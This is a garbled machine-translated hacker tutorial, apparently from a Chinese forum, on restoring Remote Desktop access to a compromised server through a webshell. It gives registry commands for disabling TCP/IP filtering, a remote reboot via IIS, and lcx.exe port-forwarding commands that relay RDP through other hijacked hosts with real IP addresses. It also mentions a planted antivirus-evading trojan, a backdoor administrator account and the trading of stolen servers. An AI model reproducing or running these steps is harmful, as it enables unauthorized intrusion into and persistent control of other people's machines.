3389 connection error Solution

During the authorization process, the server opens 3389 but cannot connect to the server:
Hello everyone, I am a black/white trade (QQ: 396418270)
Although we have obtained the super administrator privilege and opened port 3389, we cannot connect to it! Possible causes:
1. TCP/IP filtering may be set.
2. port 3389 is changed.
3. Intranet reasons
4. Other reasons
Let's take a look at this situation!

I have set up a Super User! Fengyun $

See if you can connect

The client cannot connect to the server.

Check whether IP addresses are filtered out.

The solution to the 1st cases is to modify the Registry as follows:
All we need to do is export the three parts of the Registry. After the changes are made, we can import them again. Go back to [WS logs. Shell] and execute the CMD command:
Regedit-e c:/1.reg HKEY_LOCAL_MACHINE/system/controlset001/services/TCPIP
Export the first entry of TCP/IP filtering in the Registry
Regedit-e c:/2.reg HKEY_LOCAL_MACHINE/system/controlset002/services/TCPIP
Export the second entry about TCP/IP filtering in the Registry
Regedit-e c:/3.reg HKEY_LOCAL_MACHINE/system/CurrentControlSet/services/TCPIP
# Export the third part of TCP/IP filtering in the Registry

Download 1.reg, 2.reg, 3. Reg back to your hard disk and edit it. Change the TCP/IP filtering items.

First Open 1. Reg and find "enablesecurityfilters" = DWORD: 00000001, change the last number 1 to 0, and save it,
Then change 2.reg, 3.reg. the change method is the same, and I will not be arrogant ~
I checked "enablesecurityfilters" = DWORD: 00000000 in 1.reg. No TCP/IP filter is set.
For the full duration, let's take a look at 2 and 3 "enablesecurityfilters" = DWORD: 00000000
The final value is 0. It seems that 1st cases are not met.
If this is the case, let's do what I said below!

Then we upload 1.reg, 2.reg, 3. reg to the other machine (Here we want to select the coverage mode, because there is no permission
Delete the original 1.reg, 2.reg, 3.reg). After the upload is successful, return to <ws logs. Shell] and execute the CMD command:
Regedit-s c:/1.reg # import the modified 1. reg to its registry in quiet mode
Regedit-s c:/2.reg # import the modified 2.reg to its registry in quiet mode
Regedit-s c:/3.reg # import the modified 3. reg to its registry in quiet mode
OK! After the import, restart the machine to solve the TCP/IP filtering problem,
Then run the command iisreset/reboot/Timeout: 00 in the "ws restart. Shell"
# Use his own IIS service to restart his machine

2nd cases: Use the terminal port-automatically log on to check and use IP: port connection for example: 61.235.153.16: 3457

You can use the LCX port forwarding tool in 3rd cases and 4th cases!
First, we need to first upload lcx.exe. Here I have uploaded it!
The first and third parts are used in combination. For example, listen to-Listen 51 3389 on the local machine and run-slave IP address 51 broiler IP address 3389 on the broiler Machine

In this case, you can connect 127.0.1 to 3389 of the botnet. The second is the local steering. For example,-Tran 51 127.0.0.1 3389 ==========

This is a tool usage: but an Internet machine is required.
[Usage of packet transmit:]

C:/lcx.exe-<listen | Tran | slave> <option> [-log logfile]

[Option:]
-Listen <connectport> <transmitport>
-Tran <connectport> <transmithost> <transmitport>
-Slave <connecthost> <connectport> <transmithost> <transmitport>

This is my IP connection-specific DNS suffix .:
IP address ......: 10.0.0.132
Subnet Mask ......: 255.255.255.0
Default Gateway ......: 10.0.0.138
It is an intranet, but also a ing, so I will replace it with other bots! Use 218.58.79.21 !!
Upload my LCX! This machine has exceeded the number of connections
Let me handle it.
See if you can go up.
Now, let's proceed !!
First, run this command on webshell.
C:/lcx.exe-slave 218.58.79.21 550 127.0.0.1 3389
Then perform the first operation in 218.58.79.21,
Not reflected !!
Fortunately, I have not performed the first step on webshell!
Change one !!

Sorry, you have to upload the tool to it.
Okay, this time !!
Change 218.58.79.21 to 61.235.153.16.
Okay, now the webshell on the bot has been executed.
Listening port 550 ......
Listen OK!
Listening port 880 ......
Listen OK!
Waiting for client on port: 550 ......
Accept a client on port 550 from 218.56.9
Waiting another client on port: 880 ....

Operation succeeded. Continue to view my operation
Connect to the system with the 3389 connector. Nothing else can be used !!
Maybe 61.235.153.16 has connection restrictions. Now I can use my own connection.

Yes.
Webshell has a problem, which may lead to a delay. I tried it again. This time, it may be because the webshell command has timed out.
Let's see!
Installed the Rising anti-virus software !!
2.4cpu, 1 GB memory, generally !!
The exported registry is displayed !!
1.exe is my no-killing pigeon !!

Do you want to stop it ?? Kill memory !! How can this problem be solved !!
Now, let's go to this tutorial !! A lot of time has been delayed! If you have any questions, contact my QQ: 396418270 (

In fact, the Intranet can also achieve this. I will not demonstrate it here. I hope you can learn new things !!
88
Here, I would like to thank my friend who provided this webshell, but I forgot it. I hope this friend will contact me and I will exchange this server for him. Over